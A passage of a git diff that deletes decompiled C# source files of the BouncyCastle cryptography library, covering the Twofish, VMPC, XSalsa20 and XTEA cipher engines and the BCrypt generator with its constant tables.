"Twofish"; - - public bool IsPartialBlockOkay => false; - - public TwofishEngine() - { - int[] array = new int[2]; - int[] array2 = new int[2]; - int[] array3 = new int[2]; - for (int i = 0; i < 256; i++) - { - int x = (array[0] = P[0, i] & 0xFF); - array2[0] = Mx_X(x) & 0xFF; - array3[0] = Mx_Y(x) & 0xFF; - x = (array[1] = P[1, i] & 0xFF); - array2[1] = Mx_X(x) & 0xFF; - array3[1] = Mx_Y(x) & 0xFF; - gMDS0[i] = array[1] | (array2[1] << 8) | (array3[1] << 16) | (array3[1] << 24); - gMDS1[i] = array3[0] | (array3[0] << 8) | (array2[0] << 16) | (array[0] << 24); - gMDS2[i] = array2[1] | (array3[1] << 8) | (array[1] << 16) | (array3[1] << 24); - gMDS3[i] = array2[0] | (array[0] << 8) | (array3[0] << 16) | (array2[0] << 24); - } - } - - public void Init(bool forEncryption, ICipherParameters parameters) - { - if (!(parameters is KeyParameter)) - { - throw new ArgumentException("invalid parameter passed to Twofish init - " + Platform.GetTypeName(parameters)); - } - encrypting = forEncryption; - workingKey = ((KeyParameter)parameters).GetKey(); - k64Cnt = workingKey.Length / 8; - SetKey(workingKey); - } - - public int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - if (workingKey == null) - { - throw new InvalidOperationException("Twofish not initialised"); - } - Check.DataLength(input, inOff, 16, "input buffer too short"); - Check.OutputLength(output, outOff, 16, "output buffer too short"); - if (encrypting) - { - EncryptBlock(input, inOff, output, outOff); - } - else - { - DecryptBlock(input, inOff, output, outOff); - } - return 16; - } - - public void Reset() - { - if (workingKey != null) - { - SetKey(workingKey); - } - } - - public int GetBlockSize() - { - return 16; - } - - private void SetKey(byte[] key) - { - int[] array = new int[4]; - int[] array2 = new int[4]; - int[] array3 = new int[4]; - gSubKeys = new int[40]; - if (k64Cnt < 1) - { - throw new ArgumentException("Key size less than 64 bits"); - } - if (k64Cnt > 4) - { - throw new ArgumentException("Key size larger than 256 bits"); - } - int i = 0; - int num = 0; - for (; i < k64Cnt; i++) - { - num = i * 8; - array[i] = BytesTo32Bits(key, num); - array2[i] = BytesTo32Bits(key, num + 4); - array3[k64Cnt - 1 - i] = RS_MDS_Encode(array[i], array2[i]); - } - for (int j = 0; j < 20; j++) - { - int num2 = j * 33686018; - int num3 = F32(num2, array); - int num4 = F32(num2 + 16843009, array2); - num4 = (num4 << 8) | (num4 >>> 24); - num3 += num4; - gSubKeys[j * 2] = num3; - num3 += num4; - gSubKeys[j * 2 + 1] = (num3 << 9) | (num3 >>> 23); - } - int x = array3[0]; - int x2 = array3[1]; - int x3 = array3[2]; - int x4 = array3[3]; - gSBox = new int[1024]; - for (int k = 0; k < 256; k++) - { - int num6; - int num7; - int num8; - int num5 = (num6 = (num7 = (num8 = k))); - switch (k64Cnt & 3) - { - case 1: - gSBox[k * 2] = gMDS0[(P[0, num5] & 0xFF) ^ M_b0(x)]; - gSBox[k * 2 + 1] = gMDS1[(P[0, num6] & 0xFF) ^ M_b1(x)]; - gSBox[k * 2 + 512] = gMDS2[(P[1, num7] & 0xFF) ^ M_b2(x)]; - gSBox[k * 2 + 513] = gMDS3[(P[1, num8] & 0xFF) ^ M_b3(x)]; - continue; - case 0: - num5 = (P[1, num5] & 0xFF) ^ M_b0(x4); - num6 = (P[0, num6] & 0xFF) ^ M_b1(x4); - num7 = (P[0, num7] & 0xFF) ^ M_b2(x4); - num8 = (P[1, num8] & 0xFF) ^ M_b3(x4); - goto case 3; - case 3: - num5 = (P[1, num5] & 0xFF) ^ M_b0(x3); - num6 = (P[1, num6] & 0xFF) ^ M_b1(x3); - num7 = (P[0, num7] & 0xFF) ^ M_b2(x3); - num8 = (P[0, num8] & 0xFF) ^ M_b3(x3); - break; - case 2: - break; - default: - continue; - } - gSBox[k * 2] = gMDS0[(P[0, (P[0, num5] & 0xFF) ^ M_b0(x2)] & 0xFF) ^ M_b0(x)]; - gSBox[k * 2 + 1] = gMDS1[(P[0, (P[1, num6] & 0xFF) ^ M_b1(x2)] & 0xFF) ^ M_b1(x)]; - gSBox[k * 2 + 512] = gMDS2[(P[1, (P[0, num7] & 0xFF) ^ M_b2(x2)] & 0xFF) ^ M_b2(x)]; - gSBox[k * 2 + 513] = gMDS3[(P[1, (P[1, num8] & 0xFF) ^ M_b3(x2)] & 0xFF) ^ M_b3(x)]; - } - } - - private void EncryptBlock(byte[] src, int srcIndex, byte[] dst, int dstIndex) - { - int num = BytesTo32Bits(src, srcIndex) ^ gSubKeys[0]; - int num2 = BytesTo32Bits(src, srcIndex + 4) ^ gSubKeys[1]; - int num3 = BytesTo32Bits(src, srcIndex + 8) ^ gSubKeys[2]; - int num4 = BytesTo32Bits(src, srcIndex + 12) ^ gSubKeys[3]; - int num5 = 8; - for (int i = 0; i < 16; i += 2) - { - int num6 = Fe32_0(num); - int num7 = Fe32_3(num2); - num3 ^= num6 + num7 + gSubKeys[num5++]; - num3 = (num3 >>> 1) | (num3 << 31); - num4 = ((num4 << 1) | (num4 >>> 31)) ^ (num6 + 2 * num7 + gSubKeys[num5++]); - num6 = Fe32_0(num3); - num7 = Fe32_3(num4); - num ^= num6 + num7 + gSubKeys[num5++]; - num = (num >>> 1) | (num << 31); - num2 = ((num2 << 1) | (num2 >>> 31)) ^ (num6 + 2 * num7 + gSubKeys[num5++]); - } - Bits32ToBytes(num3 ^ gSubKeys[4], dst, dstIndex); - Bits32ToBytes(num4 ^ gSubKeys[5], dst, dstIndex + 4); - Bits32ToBytes(num ^ gSubKeys[6], dst, dstIndex + 8); - Bits32ToBytes(num2 ^ gSubKeys[7], dst, dstIndex + 12); - } - - private void DecryptBlock(byte[] src, int srcIndex, byte[] dst, int dstIndex) - { - int num = BytesTo32Bits(src, srcIndex) ^ gSubKeys[4]; - int num2 = BytesTo32Bits(src, srcIndex + 4) ^ gSubKeys[5]; - int num3 = BytesTo32Bits(src, srcIndex + 8) ^ gSubKeys[6]; - int num4 = BytesTo32Bits(src, srcIndex + 12) ^ gSubKeys[7]; - int num5 = 39; - for (int i = 0; i < 16; i += 2) - { - int num6 = Fe32_0(num); - int num7 = Fe32_3(num2); - num4 ^= num6 + 2 * num7 + gSubKeys[num5--]; - num3 = ((num3 << 1) | (num3 >>> 31)) ^ (num6 + num7 + gSubKeys[num5--]); - num4 = (num4 >>> 1) | (num4 << 31); - num6 = Fe32_0(num3); - num7 = Fe32_3(num4); - num2 ^= num6 + 2 * num7 + gSubKeys[num5--]; - num = ((num << 1) | (num >>> 31)) ^ (num6 + num7 + gSubKeys[num5--]); - num2 = (num2 >>> 1) | (num2 << 31); - } - Bits32ToBytes(num3 ^ gSubKeys[0], dst, dstIndex); - Bits32ToBytes(num4 ^ gSubKeys[1], dst, dstIndex + 4); - Bits32ToBytes(num ^ gSubKeys[2], dst, dstIndex + 8); - Bits32ToBytes(num2 ^ gSubKeys[3], dst, dstIndex + 12); - } - - private int F32(int x, int[] k32) - { - int num = M_b0(x); - int num2 = M_b1(x); - int num3 = M_b2(x); - int num4 = M_b3(x); - int x2 = k32[0]; - int x3 = k32[1]; - int x4 = k32[2]; - int x5 = k32[3]; - int result = 0; - switch (k64Cnt & 3) - { - case 1: - result = gMDS0[(P[0, num] & 0xFF) ^ M_b0(x2)] ^ gMDS1[(P[0, num2] & 0xFF) ^ M_b1(x2)] ^ gMDS2[(P[1, num3] & 0xFF) ^ M_b2(x2)] ^ gMDS3[(P[1, num4] & 0xFF) ^ M_b3(x2)]; - break; - case 0: - num = (P[1, num] & 0xFF) ^ M_b0(x5); - num2 = (P[0, num2] & 0xFF) ^ M_b1(x5); - num3 = (P[0, num3] & 0xFF) ^ M_b2(x5); - num4 = (P[1, num4] & 0xFF) ^ M_b3(x5); - goto case 3; - case 3: - num = (P[1, num] & 0xFF) ^ M_b0(x4); - num2 = (P[1, num2] & 0xFF) ^ M_b1(x4); - num3 = (P[0, num3] & 0xFF) ^ M_b2(x4); - num4 = (P[0, num4] & 0xFF) ^ M_b3(x4); - goto case 2; - case 2: - result = gMDS0[(P[0, (P[0, num] & 0xFF) ^ M_b0(x3)] & 0xFF) ^ M_b0(x2)] ^ gMDS1[(P[0, (P[1, num2] & 0xFF) ^ M_b1(x3)] & 0xFF) ^ M_b1(x2)] ^ gMDS2[(P[1, (P[0, num3] & 0xFF) ^ M_b2(x3)] & 0xFF) ^ M_b2(x2)] ^ gMDS3[(P[1, (P[1, num4] & 0xFF) ^ M_b3(x3)] & 0xFF) ^ M_b3(x2)]; - break; - } - return result; - } - - private int RS_MDS_Encode(int k0, int k1) - { - int num = k1; - for (int i = 0; i < 4; i++) - { - num = RS_rem(num); - } - num ^= k0; - for (int j = 0; j < 4; j++) - { - num = RS_rem(num); - } - return num; - } - - private int RS_rem(int x) - { - int num = (x >>> 24) & 0xFF; - int num2 = ((num << 1) ^ (((num & 0x80) != 0) ? 333 : 0)) & 0xFF; - int num3 = (num >>> 1) ^ (((num & 1) != 0) ? 166 : 0) ^ num2; - return (x << 8) ^ (num3 << 24) ^ (num2 << 16) ^ (num3 << 8) ^ num; - } - - private int LFSR1(int x) - { - return (x >> 1) ^ (((x & 1) != 0) ? 180 : 0); - } - - private int LFSR2(int x) - { - return (x >> 2) ^ (((x & 2) != 0) ? 180 : 0) ^ (((x & 1) != 0) ? 90 : 0); - } - - private int Mx_X(int x) - { - return x ^ LFSR2(x); - } - - private int Mx_Y(int x) - { - return x ^ LFSR1(x) ^ LFSR2(x); - } - - private int M_b0(int x) - { - return x & 0xFF; - } - - private int M_b1(int x) - { - return (x >>> 8) & 0xFF; - } - - private int M_b2(int x) - { - return (x >>> 16) & 0xFF; - } - - private int M_b3(int x) - { - return (x >>> 24) & 0xFF; - } - - private int Fe32_0(int x) - { - return gSBox[2 * (x & 0xFF)] ^ gSBox[1 + 2 * ((x >>> 8) & 0xFF)] ^ gSBox[512 + 2 * ((x >>> 16) & 0xFF)] ^ gSBox[513 + 2 * ((x >>> 24) & 0xFF)]; - } - - private int Fe32_3(int x) - { - return gSBox[2 * ((x >>> 24) & 0xFF)] ^ gSBox[1 + 2 * (x & 0xFF)] ^ gSBox[512 + 2 * ((x >>> 8) & 0xFF)] ^ gSBox[513 + 2 * ((x >>> 16) & 0xFF)]; - } - - private int BytesTo32Bits(byte[] b, int p) - { - return (b[p] & 0xFF) | ((b[p + 1] & 0xFF) << 8) | ((b[p + 2] & 0xFF) << 16) | ((b[p + 3] & 0xFF) << 24); - } - - private void Bits32ToBytes(int inData, byte[] b, int offset) - { - b[offset] = (byte)inData; - b[offset + 1] = (byte)(inData >> 8); - b[offset + 2] = (byte)(inData >> 16); - b[offset + 3] = (byte)(inData >> 24); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/VmpcEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/VmpcEngine.cs deleted file mode 100644 index 3d29c08..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/VmpcEngine.cs +++ /dev/null @@ -1,97 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class VmpcEngine : IStreamCipher -{ - protected byte n = 0; - - protected byte[] P = null; - - protected byte s = 0; - - protected byte[] workingIV; - - protected byte[] workingKey; - - public virtual string AlgorithmName => "VMPC"; - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - if (!(parameters is ParametersWithIV)) - { - throw new ArgumentException("VMPC Init parameters must include an IV"); - } - ParametersWithIV parametersWithIV = (ParametersWithIV)parameters; - if (!(parametersWithIV.Parameters is KeyParameter)) - { - throw new ArgumentException("VMPC Init parameters must include a key"); - } - KeyParameter keyParameter = (KeyParameter)parametersWithIV.Parameters; - workingIV = parametersWithIV.GetIV(); - if (workingIV == null || workingIV.Length < 1 || workingIV.Length > 768) - { - throw new ArgumentException("VMPC requires 1 to 768 bytes of IV"); - } - workingKey = keyParameter.GetKey(); - InitKey(workingKey, workingIV); - } - - protected virtual void InitKey(byte[] keyBytes, byte[] ivBytes) - { - s = 0; - P = new byte[256]; - for (int i = 0; i < 256; i++) - { - P[i] = (byte)i; - } - for (int j = 0; j < 768; j++) - { - s = P[(s + P[j & 0xFF] + keyBytes[j % keyBytes.Length]) & 0xFF]; - byte b = P[j & 0xFF]; - P[j & 0xFF] = P[s & 0xFF]; - P[s & 0xFF] = b; - } - for (int k = 0; k < 768; k++) - { - s = P[(s + P[k & 0xFF] + ivBytes[k % ivBytes.Length]) & 0xFF]; - byte b2 = P[k & 0xFF]; - P[k & 0xFF] = P[s & 0xFF]; - P[s & 0xFF] = b2; - } - n = 0; - } - - public virtual void ProcessBytes(byte[] input, int inOff, int len, byte[] output, int outOff) - { - Check.DataLength(input, inOff, len, "input buffer too short"); - Check.OutputLength(output, outOff, len, "output buffer too short"); - for (int i = 0; i < len; i++) - { - s = P[(s + P[n & 0xFF]) & 0xFF]; - byte b = P[(P[P[s & 0xFF] & 0xFF] + 1) & 0xFF]; - byte b2 = P[n & 0xFF]; - P[n & 0xFF] = P[s & 0xFF]; - P[s & 0xFF] = b2; - n = (byte)((n + 1) & 0xFF); - output[i + outOff] = (byte)(input[i + inOff] ^ b); - } - } - - public virtual void Reset() - { - InitKey(workingKey, workingIV); - } - - public virtual byte ReturnByte(byte input) - { - s = P[(s + P[n & 0xFF]) & 0xFF]; - byte b = P[(P[P[s & 0xFF] & 0xFF] + 1) & 0xFF]; - byte b2 = P[n & 0xFF]; - P[n & 0xFF] = P[s & 0xFF]; - P[s & 0xFF] = b2; - n = (byte)((n + 1) & 0xFF); - return (byte)(input ^ b); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/VmpcKsa3Engine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/VmpcKsa3Engine.cs deleted file mode 100644 index 5448780..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/VmpcKsa3Engine.cs +++ /dev/null @@ -1,38 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Engines; - -public class VmpcKsa3Engine : VmpcEngine -{ - public override string AlgorithmName => "VMPC-KSA3"; - - protected override void InitKey(byte[] keyBytes, byte[] ivBytes) - { - s = 0; - P = new byte[256]; - for (int i = 0; i < 256; i++) - { - P[i] = (byte)i; - } - for (int j = 0; j < 768; j++) - { - s = P[(s + P[j & 0xFF] + keyBytes[j % keyBytes.Length]) & 0xFF]; - byte b = P[j & 0xFF]; - P[j & 0xFF] = P[s & 0xFF]; - P[s & 0xFF] = b; - } - for (int k = 0; k < 768; k++) - { - s = P[(s + P[k & 0xFF] + ivBytes[k % ivBytes.Length]) & 0xFF]; - byte b2 = P[k & 0xFF]; - P[k & 0xFF] = P[s & 0xFF]; - P[s & 0xFF] = b2; - } - for (int l = 0; l < 768; l++) - { - s = P[(s + P[l & 0xFF] + keyBytes[l % keyBytes.Length]) & 0xFF]; - byte b3 = P[l & 0xFF]; - P[l & 0xFF] = P[s & 0xFF]; - P[s & 0xFF] = b3; - } - n = 0; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/XSalsa20Engine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/XSalsa20Engine.cs deleted file mode 100644 index fbd3e13..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/XSalsa20Engine.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class XSalsa20Engine : Salsa20Engine -{ - public override string AlgorithmName => "XSalsa20"; - - protected override int NonceSize => 24; - - protected override void SetKey(byte[] keyBytes, byte[] ivBytes) - { - if (keyBytes == null) - { - throw new ArgumentException(AlgorithmName + " doesn't support re-init with null key"); - } - if (keyBytes.Length != 32) - { - throw new ArgumentException(AlgorithmName + " requires a 256 bit key"); - } - base.SetKey(keyBytes, ivBytes); - Pack.LE_To_UInt32(ivBytes, 8, engineState, 8, 2); - uint[] array = new uint[engineState.Length]; - Salsa20Engine.SalsaCore(20, engineState, array); - engineState[1] = array[0] - engineState[0]; - engineState[2] = array[5] - engineState[5]; - engineState[3] = array[10] - engineState[10]; - engineState[4] = array[15] - engineState[15]; - engineState[11] = array[6] - engineState[6]; - engineState[12] = array[7] - engineState[7]; - engineState[13] = array[8] - engineState[8]; - engineState[14] = array[9] - engineState[9]; - Pack.LE_To_UInt32(ivBytes, 16, engineState, 6, 2); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/XteaEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/XteaEngine.cs deleted file mode 100644 index b72124c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/XteaEngine.cs +++ /dev/null @@ -1,116 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class XteaEngine : IBlockCipher -{ - private const int rounds = 32; - - private const int block_size = 8; - - private const int delta = -1640531527; - - private uint[] _S = new uint[4]; - - private uint[] _sum0 = new uint[32]; - - private uint[] _sum1 = new uint[32]; - - private bool _initialised; - - private bool _forEncryption; - - public virtual string AlgorithmName => "XTEA"; - - public virtual bool IsPartialBlockOkay => false; - - public XteaEngine() - { - _initialised = false; - } - - public virtual int GetBlockSize() - { - return 8; - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - if (!(parameters is KeyParameter)) - { - throw new ArgumentException("invalid parameter passed to TEA init - " + Platform.GetTypeName(parameters)); - } - _forEncryption = forEncryption; - _initialised = true; - KeyParameter keyParameter = (KeyParameter)parameters; - setKey(keyParameter.GetKey()); - } - - public virtual int ProcessBlock(byte[] inBytes, int inOff, byte[] outBytes, int outOff) - { - if (!_initialised) - { - throw new InvalidOperationException(AlgorithmName + " not initialised"); - } - Check.DataLength(inBytes, inOff, 8, "input buffer too short"); - Check.OutputLength(outBytes, outOff, 8, "output buffer too short"); - if (!_forEncryption) - { - return decryptBlock(inBytes, inOff, outBytes, outOff); - } - return encryptBlock(inBytes, inOff, outBytes, outOff); - } - - public virtual void Reset() - { - } - - private void setKey(byte[] key) - { - int num2; - int num = (num2 = 0); - while (num < 4) - { - _S[num] = Pack.BE_To_UInt32(key, num2); - num++; - num2 += 4; - } - for (num = (num2 = 0); num < 32; num++) - { - _sum0[num] = (uint)num2 + _S[num2 & 3]; - num2 += -1640531527; - _sum1[num] = (uint)num2 + _S[(num2 >> 11) & 3]; - } - } - - private int encryptBlock(byte[] inBytes, int inOff, byte[] outBytes, int outOff) - { - uint num = Pack.BE_To_UInt32(inBytes, inOff); - uint num2 = Pack.BE_To_UInt32(inBytes, inOff + 4); - for (int i = 0; i < 32; i++) - { - num += (((num2 << 4) ^ (num2 >> 5)) + num2) ^ _sum0[i]; - num2 += (((num << 4) ^ (num >> 5)) + num) ^ _sum1[i]; - } - Pack.UInt32_To_BE(num, outBytes, outOff); - Pack.UInt32_To_BE(num2, outBytes, outOff + 4); - return 8; - } - - private int decryptBlock(byte[] inBytes, int inOff, byte[] outBytes, int outOff) - { - uint num = Pack.BE_To_UInt32(inBytes, inOff); - uint num2 = Pack.BE_To_UInt32(inBytes, inOff + 4); - for (int num3 = 31; num3 >= 0; num3--) - { - num2 -= (((num << 4) ^ (num >> 5)) + num) ^ _sum1[num3]; - num -= (((num2 << 4) ^ (num2 >> 5)) + num2) ^ _sum0[num3]; - } - Pack.UInt32_To_BE(num, outBytes, outOff); - Pack.UInt32_To_BE(num2, outBytes, outOff + 4); - return 8; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/BCrypt.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/BCrypt.cs deleted file mode 100644 index dc25a38..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/BCrypt.cs +++ /dev/null @@ -1,362 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Generators; - -public sealed class BCrypt -{ - internal const int MAGIC_STRING_LENGTH = 6; - - private const int ROUNDS = 16; - - private const int SBOX_SK = 256; - - private const int SBOX_SK2 = 512; - - private const int SBOX_SK3 = 768; - - private const int P_SZ = 18; - - internal const int SALT_SIZE_BYTES = 16; - - internal const int MIN_COST = 4; - - internal const int MAX_COST = 31; - - internal const int MAX_PASSWORD_BYTES = 72; - - private static readonly uint[] MAGIC_STRING = new uint[6] { 1332899944u, 1700884034u, 1701343084u, 1684370003u, 1668446532u, 1869963892u }; - - private static readonly uint[] KP = new uint[18] - { - 608135816u, 2242054355u, 320440878u, 57701188u, 2752067618u, 698298832u, 137296536u, 3964562569u, 1160258022u, 953160567u, - 3193202383u, 887688300u, 3232508343u, 3380367581u, 1065670069u, 3041331479u, 2450970073u, 2306472731u - }; - - private static readonly uint[] KS0 = new uint[256] - { - 3509652390u, 2564797868u, 805139163u, 3491422135u, 3101798381u, 1780907670u, 3128725573u, 4046225305u, 614570311u, 3012652279u, - 134345442u, 2240740374u, 1667834072u, 1901547113u, 2757295779u, 4103290238u, 227898511u, 1921955416u, 1904987480u, 2182433518u, - 2069144605u, 3260701109u, 2620446009u, 720527379u, 3318853667u, 677414384u, 3393288472u, 3101374703u, 2390351024u, 1614419982u, - 1822297739u, 2954791486u, 3608508353u, 3174124327u, 2024746970u, 1432378464u, 3864339955u, 2857741204u, 1464375394u, 1676153920u, - 1439316330u, 715854006u, 3033291828u, 289532110u, 2706671279u, 2087905683u, 3018724369u, 1668267050u, 732546397u, 1947742710u, - 3462151702u, 2609353502u, 2950085171u, 1814351708u, 2050118529u, 680887927u, 999245976u, 1800124847u, 3300911131u, 1713906067u, - 1641548236u, 4213287313u, 1216130144u, 1575780402u, 4018429277u, 3917837745u, 3693486850u, 3949271944u, 596196993u, 3549867205u, - 258830323u, 2213823033u, 772490370u, 2760122372u, 1774776394u, 2652871518u, 566650946u, 4142492826u, 1728879713u, 2882767088u, - 1783734482u, 3629395816u, 2517608232u, 2874225571u, 1861159788u, 326777828u, 3124490320u, 2130389656u, 2716951837u, 967770486u, - 1724537150u, 2185432712u, 2364442137u, 1164943284u, 2105845187u, 998989502u, 3765401048u, 2244026483u, 1075463327u, 1455516326u, - 1322494562u, 910128902u, 469688178u, 1117454909u, 936433444u, 3490320968u, 3675253459u, 1240580251u, 122909385u, 2157517691u, - 634681816u, 4142456567u, 3825094682u, 3061402683u, 2540495037u, 79693498u, 3249098678u, 1084186820u, 1583128258u, 426386531u, - 1761308591u, 1047286709u, 322548459u, 995290223u, 1845252383u, 2603652396u, 3431023940u, 2942221577u, 3202600964u, 3727903485u, - 1712269319u, 422464435u, 3234572375u, 1170764815u, 3523960633u, 3117677531u, 1434042557u, 442511882u, 3600875718u, 1076654713u, - 1738483198u, 4213154764u, 2393238008u, 3677496056u, 1014306527u, 4251020053u, 793779912u, 2902807211u, 842905082u, 4246964064u, - 1395751752u, 1040244610u, 2656851899u, 3396308128u, 445077038u, 3742853595u, 3577915638u, 679411651u, 2892444358u, 2354009459u, - 1767581616u, 3150600392u, 3791627101u, 3102740896u, 284835224u, 4246832056u, 1258075500u, 768725851u, 2589189241u, 3069724005u, - 3532540348u, 1274779536u, 3789419226u, 2764799539u, 1660621633u, 3471099624u, 4011903706u, 913787905u, 3497959166u, 737222580u, - 2514213453u, 2928710040u, 3937242737u, 1804850592u, 3499020752u, 2949064160u, 2386320175u, 2390070455u, 2415321851u, 4061277028u, - 2290661394u, 2416832540u, 1336762016u, 1754252060u, 3520065937u, 3014181293u, 791618072u, 3188594551u, 3933548030u, 2332172193u, - 3852520463u, 3043980520u, 413987798u, 3465142937u, 3030929376u, 4245938359u, 2093235073u, 3534596313u, 375366246u, 2157278981u, - 2479649556u, 555357303u, 3870105701u, 2008414854u, 3344188149u, 4221384143u, 3956125452u, 2067696032u, 3594591187u, 2921233993u, - 2428461u, 544322398u, 577241275u, 1471733935u, 610547355u, 4027169054u, 1432588573u, 1507829418u, 2025931657u, 3646575487u, - 545086370u, 48609733u, 2200306550u, 1653985193u, 298326376u, 1316178497u, 3007786442u, 2064951626u, 458293330u, 2589141269u, - 3591329599u, 3164325604u, 727753846u, 2179363840u, 146436021u, 1461446943u, 4069977195u, 705550613u, 3059967265u, 3887724982u, - 4281599278u, 3313849956u, 1404054877u, 2845806497u, 146425753u, 1854211946u - }; - - private static readonly uint[] KS1 = new uint[256] - { - 1266315497u, 3048417604u, 3681880366u, 3289982499u, 2909710000u, 1235738493u, 2632868024u, 2414719590u, 3970600049u, 1771706367u, - 1449415276u, 3266420449u, 422970021u, 1963543593u, 2690192192u, 3826793022u, 1062508698u, 1531092325u, 1804592342u, 2583117782u, - 2714934279u, 4024971509u, 1294809318u, 4028980673u, 1289560198u, 2221992742u, 1669523910u, 35572830u, 157838143u, 1052438473u, - 1016535060u, 1802137761u, 1753167236u, 1386275462u, 3080475397u, 2857371447u, 1040679964u, 2145300060u, 2390574316u, 1461121720u, - 2956646967u, 4031777805u, 4028374788u, 33600511u, 2920084762u, 1018524850u, 629373528u, 3691585981u, 3515945977u, 2091462646u, - 2486323059u, 586499841u, 988145025u, 935516892u, 3367335476u, 2599673255u, 2839830854u, 265290510u, 3972581182u, 2759138881u, - 3795373465u, 1005194799u, 847297441u, 406762289u, 1314163512u, 1332590856u, 1866599683u, 4127851711u, 750260880u, 613907577u, - 1450815602u, 3165620655u, 3734664991u, 3650291728u, 3012275730u, 3704569646u, 1427272223u, 778793252u, 1343938022u, 2676280711u, - 2052605720u, 1946737175u, 3164576444u, 3914038668u, 3967478842u, 3682934266u, 1661551462u, 3294938066u, 4011595847u, 840292616u, - 3712170807u, 616741398u, 312560963u, 711312465u, 1351876610u, 322626781u, 1910503582u, 271666773u, 2175563734u, 1594956187u, - 70604529u, 3617834859u, 1007753275u, 1495573769u, 4069517037u, 2549218298u, 2663038764u, 504708206u, 2263041392u, 3941167025u, - 2249088522u, 1514023603u, 1998579484u, 1312622330u, 694541497u, 2582060303u, 2151582166u, 1382467621u, 776784248u, 2618340202u, - 3323268794u, 2497899128u, 2784771155u, 503983604u, 4076293799u, 907881277u, 423175695u, 432175456u, 1378068232u, 4145222326u, - 3954048622u, 3938656102u, 3820766613u, 2793130115u, 2977904593u, 26017576u, 3274890735u, 3194772133u, 1700274565u, 1756076034u, - 4006520079u, 3677328699u, 720338349u, 1533947780u, 354530856u, 688349552u, 3973924725u, 1637815568u, 332179504u, 3949051286u, - 53804574u, 2852348879u, 3044236432u, 1282449977u, 3583942155u, 3416972820u, 4006381244u, 1617046695u, 2628476075u, 3002303598u, - 1686838959u, 431878346u, 2686675385u, 1700445008u, 1080580658u, 1009431731u, 832498133u, 3223435511u, 2605976345u, 2271191193u, - 2516031870u, 1648197032u, 4164389018u, 2548247927u, 300782431u, 375919233u, 238389289u, 3353747414u, 2531188641u, 2019080857u, - 1475708069u, 455242339u, 2609103871u, 448939670u, 3451063019u, 1395535956u, 2413381860u, 1841049896u, 1491858159u, 885456874u, - 4264095073u, 4001119347u, 1565136089u, 3898914787u, 1108368660u, 540939232u, 1173283510u, 2745871338u, 3681308437u, 4207628240u, - 3343053890u, 4016749493u, 1699691293u, 1103962373u, 3625875870u, 2256883143u, 3830138730u, 1031889488u, 3479347698u, 1535977030u, - 4236805024u, 3251091107u, 2132092099u, 1774941330u, 1199868427u, 1452454533u, 157007616u, 2904115357u, 342012276u, 595725824u, - 1480756522u, 206960106u, 497939518u, 591360097u, 863170706u, 2375253569u, 3596610801u, 1814182875u, 2094937945u, 3421402208u, - 1082520231u, 3463918190u, 2785509508u, 435703966u, 3908032597u, 1641649973u, 2842273706u, 3305899714u, 1510255612u, 2148256476u, - 2655287854u, 3276092548u, 4258621189u, 236887753u, 3681803219u, 274041037u, 1734335097u, 3815195456u, 3317970021u, 1899903192u, - 1026095262u, 4050517792u, 356393447u, 2410691914u, 3873677099u, 3682840055u - }; - - private static readonly uint[] KS2 = new uint[256] - { - 3913112168u, 2491498743u, 4132185628u, 2489919796u, 1091903735u, 1979897079u, 3170134830u, 3567386728u, 3557303409u, 857797738u, - 1136121015u, 1342202287u, 507115054u, 2535736646u, 337727348u, 3213592640u, 1301675037u, 2528481711u, 1895095763u, 1721773893u, - 3216771564u, 62756741u, 2142006736u, 835421444u, 2531993523u, 1442658625u, 3659876326u, 2882144922u, 676362277u, 1392781812u, - 170690266u, 3921047035u, 1759253602u, 3611846912u, 1745797284u, 664899054u, 1329594018u, 3901205900u, 3045908486u, 2062866102u, - 2865634940u, 3543621612u, 3464012697u, 1080764994u, 553557557u, 3656615353u, 3996768171u, 991055499u, 499776247u, 1265440854u, - 648242737u, 3940784050u, 980351604u, 3713745714u, 1749149687u, 3396870395u, 4211799374u, 3640570775u, 1161844396u, 3125318951u, - 1431517754u, 545492359u, 4268468663u, 3499529547u, 1437099964u, 2702547544u, 3433638243u, 2581715763u, 2787789398u, 1060185593u, - 1593081372u, 2418618748u, 4260947970u, 69676912u, 2159744348u, 86519011u, 2512459080u, 3838209314u, 1220612927u, 3339683548u, - 133810670u, 1090789135u, 1078426020u, 1569222167u, 845107691u, 3583754449u, 4072456591u, 1091646820u, 628848692u, 1613405280u, - 3757631651u, 526609435u, 236106946u, 48312990u, 2942717905u, 3402727701u, 1797494240u, 